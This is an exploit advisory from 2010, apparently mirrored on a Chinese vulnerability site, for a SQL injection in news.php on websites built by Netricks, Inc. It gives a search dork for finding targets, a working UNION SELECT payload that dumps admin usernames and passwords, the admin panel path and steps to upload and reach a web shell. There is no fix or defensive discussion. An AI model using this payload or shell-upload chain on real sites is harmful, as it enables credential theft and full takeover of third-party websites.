@@@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@ @@@@@@ @@@@@@ @@@@@@ @@@@@@@@ @@@@@@@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@@@@@ @@@@@@ @@ @@ @@ @@ - @@@@@@@ @@ @@@ @@@@@@ @@@@@@ @@ @@@@@ @@ - @@@@@@@ @@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@@@@@@@ @@ @@ @@ @@ @@@@@@@@ @@ @@ @@@ @@@@@@@@ @@ @@ @@ @@ @@@@@@@@ @@@@@@@@ Dr.SiLnT HilL =================================================================================================================================== Website Design and Hosting By Netricks, Inc (news.php) SQL Injection Vulnerability =================================================================================================================================== #################################################################################################################################### # Name: Website Design and Hosting By Netricks, Inc. # Date: 25-05-2010 # vendor: http://www.netricks.com # Dork: intext:" Website Design and Hosting By Netricks, Inc." # Discovered By: Dr.SiLnT HilL # Contact : i0x0@hotmail.com # MY Team : TeaM HacKer Egypt ################################################################################################################################### [+] SQL Injection Vulnerability: [+] Vulnerability: http://[site]/[path]/news.php?ax=v&n=10&id=10&nid==[SQL Injection] [+][+] Exploit [+][+] http://[site]/[path]/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,group_concat(username,0x3e,password),3,4,5+from+php_users-- [+][+] Admin Panel [+][+] http://localhost/[path]/admin [+][+] Upload your shell [+][+] http://[site]/[path]/admin/content.php?ax=file_upload [+][+] your shell [+][+] http://[site]/[path]/gallery/shell.php [+][+] Example [+][+] ###################################################################################################################################
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京ICP备10040895号
暂无评论